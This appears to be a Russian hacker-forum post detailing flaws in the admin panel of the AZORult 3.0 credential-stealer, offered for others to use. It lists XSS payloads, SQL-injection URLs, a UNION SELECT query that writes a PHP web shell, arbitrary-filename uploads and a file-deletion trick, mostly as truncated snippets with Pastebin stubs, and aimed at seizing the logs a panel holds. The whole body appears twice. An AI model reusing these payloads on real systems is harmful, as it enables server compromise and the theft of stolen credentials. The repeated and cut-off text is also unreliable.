Как должно быть многим известно, угнать логи с админки ранних версий было до идиотизма просто - найди адрес гейта, найдешь и всё остальное. Чуть позже пошли по рукам корявые XSS, ломающие верстку и т.д.
Но на анализ Величайшему, тайно, под покровом ночи, была дана версия 3.0, где большинство ошибок, активно используемых разными тупыми нубасами (и илитой, конечно же) уже было закрыто.
XSS через гейт.
Функция ShowHomePage(), строка 183 (gate.php):
$tmp[$i]['p_soft_name'] = "<img src=img/softs/".$tmp[$i]['p_soft_name'].".png> " - Pastebin.com
Не смотря на то, что переменная $tmp[$i]['p_soft_name'] обрабатывалась ранее с помощью htmlspecialchars, одинарные кавычки были пропущены. В теории можно было провести XSS-атаку.
POC:
<?php ///////////// // Адрес гейта $url="http://azorult30/gate.php" - Pastebin.com
Обычный алерт, но работал как часы. А что если мы захотим исполнить свой js (куки то не угонишь - уже стоял флаг httponly)? Задача усложнялась тем, что существовало ограничение на кол-во символов в этом поле. И в результате долгих потуг был рожден вот такой монстр:
<?php ///////////// // Домен с вашим скриптом $xss="http:/ - Pastebin.com
Что удивительно, оно срабатывало, хоть и не всегда (FF - временами, Chrome - временами, Opera/IE - как часы). В админке это выглядело крайне занимательно:
Но всё же работало) Если подгрузить свой js, то все эти непотребства можно было убрать и навести шороху.
SQL-injection внутри админки
Функции ShowReportsPage() и ShowPasswordsPage().
Уязвимые параметры - datefrom, dateup, search, countries, cookiesearch.
Примеры:
/index.php?page=reports&datefrom=2019-04-01' union select user(),database(),3,4, - Pastebin.com
Заливка шелла:
Убеждаемся, что есть права (file_priv=Y)
/index.php?page=passwords&search=-123', '123') union select null,null,null,null, - Pastebin.com
Заливаем мини-шелла:
/index.php?page=passwords&dateup=1984-04-01' union select null,"<?php echo 'PWN! - Pastebin.com
Было еще парочку инъекций, но, согласитесь, и так неплохо вышло.
Произвольные имена отчетов и перезапись отчетов
В gate.php недостаточно фильтровалась переменная filename. Можно было указать любое имя. На php 5.2 это привело бы к заливке шелла через nullbyte. Но и на последних версиях php тоже была возможна заливка шелла - если залить файл 1.php.zip, а Apache неправильно сконфигурирован, то файл будет исполняться как php-скрипт.
<?php ///////////// // Адрес гейта $url="http://azorult30/gate.php" - Pastebin.com
Как фича - тот, кто украл ранее логи, мог затереть существующие, указав в качестве имени файла старую дату и имя отчета.
Удаление файлов
Если получен каким либо способом доступ к базе данных (phpmyadmin, adminer, прямой коннект), то изменив значение reports.filename в таблице (например ./../files/index.html), можно удалить любой файл на хосте (удаляем отчет в котором изменили значение, а затем жмем EmptyTrash).
Активная XSS в config.json
Файл config.json был доступен для чтения кому угодно. Риски - палево АВ и еще хз кому прогружаемого файла ("DAE:"), кто угодно мог спарсить правила стилера, что тоже не очень хорошо. Ну и вдобавок там была XSS. Достаточно сохранить в любое из полей для файл-граббера:
"><img src=x alt="" onerror='t=document.getElementById("cssmenu");var n=document - Pastebin.com
Разумеется, вместо xss.js (который был использован в тестах) можно подгружать js-код со своего хоста.
Были еще веселенькие CSRF, но это обычно интересно только петушкам-белошляпникам (или автору кода, хехе), потому описывать их не стал.
That's all folks.
Кто-то должно быть возмутится, дескать мол столько времени уже прошло, сударь, актуальная версия азорульта - 3.3, а Вы нас старьем потчуете. Я Вам, господа, со всем, присущим мне тактом и изяществом, покорно отвечу:
- Твоей админке конец. Мне пофиг вообще.
P.S. Актуальная версия тоже была проверена на ошибки.
Пользуйтесь на здоровье.
Но на анализ Величайшему, тайно, под покровом ночи, была дана версия 3.0, где большинство ошибок, активно используемых разными тупыми нубасами (и илитой, конечно же) уже было закрыто.
XSS через гейт.
Функция ShowHomePage(), строка 183 (gate.php):
$tmp[$i]['p_soft_name'] = "<img src=img/softs/".$tmp[$i]['p_soft_name'].".png> " - Pastebin.com
Не смотря на то, что переменная $tmp[$i]['p_soft_name'] обрабатывалась ранее с помощью htmlspecialchars, одинарные кавычки были пропущены. В теории можно было провести XSS-атаку.
POC:
<?php ///////////// // Адрес гейта $url="http://azorult30/gate.php" - Pastebin.com
Обычный алерт, но работал как часы. А что если мы захотим исполнить свой js (куки то не угонишь - уже стоял флаг httponly)? Задача усложнялась тем, что существовало ограничение на кол-во символов в этом поле. И в результате долгих потуг был рожден вот такой монстр:
<?php ///////////// // Домен с вашим скриптом $xss="http:/ - Pastebin.com
Что удивительно, оно срабатывало, хоть и не всегда (FF - временами, Chrome - временами, Opera/IE - как часы). В админке это выглядело крайне занимательно:
Но всё же работало) Если подгрузить свой js, то все эти непотребства можно было убрать и навести шороху.
SQL-injection внутри админки
Функции ShowReportsPage() и ShowPasswordsPage().
Уязвимые параметры - datefrom, dateup, search, countries, cookiesearch.
Примеры:
/index.php?page=reports&datefrom=2019-04-01' union select user(),database(),3,4, - Pastebin.com
Заливка шелла:
Убеждаемся, что есть права (file_priv=Y)
/index.php?page=passwords&search=-123', '123') union select null,null,null,null, - Pastebin.com
Заливаем мини-шелла:
/index.php?page=passwords&dateup=1984-04-01' union select null,"<?php echo 'PWN! - Pastebin.com
Было еще парочку инъекций, но, согласитесь, и так неплохо вышло.
Произвольные имена отчетов и перезапись отчетов
В gate.php недостаточно фильтровалась переменная filename. Можно было указать любое имя. На php 5.2 это привело бы к заливке шелла через nullbyte. Но и на последних версиях php тоже была возможна заливка шелла - если залить файл 1.php.zip, а Apache неправильно сконфигурирован, то файл будет исполняться как php-скрипт.
<?php ///////////// // Адрес гейта $url="http://azorult30/gate.php" - Pastebin.com
Как фича - тот, кто украл ранее логи, мог затереть существующие, указав в качестве имени файла старую дату и имя отчета.
Удаление файлов
Если получен каким либо способом доступ к базе данных (phpmyadmin, adminer, прямой коннект), то изменив значение reports.filename в таблице (например ./../files/index.html), можно удалить любой файл на хосте (удаляем отчет в котором изменили значение, а затем жмем EmptyTrash).
Активная XSS в config.json
Файл config.json был доступен для чтения кому угодно. Риски - палево АВ и еще хз кому прогружаемого файла ("DAE:"), кто угодно мог спарсить правила стилера, что тоже не очень хорошо. Ну и вдобавок там была XSS. Достаточно сохранить в любое из полей для файл-граббера:
"><img src=x alt="" onerror='t=document.getElementById("cssmenu");var n=document - Pastebin.com
Разумеется, вместо xss.js (который был использован в тестах) можно подгружать js-код со своего хоста.
Были еще веселенькие CSRF, но это обычно интересно только петушкам-белошляпникам (или автору кода, хехе), потому описывать их не стал.
That's all folks.
Кто-то должно быть возмутится, дескать мол столько времени уже прошло, сударь, актуальная версия азорульта - 3.3, а Вы нас старьем потчуете. Я Вам, господа, со всем, присущим мне тактом и изяществом, покорно отвечу:
- Твоей админке конец. Мне пофиг вообще.
P.S. Актуальная версия тоже была проверена на ошибки.
Пользуйтесь на здоровье.
Последнее редактирование: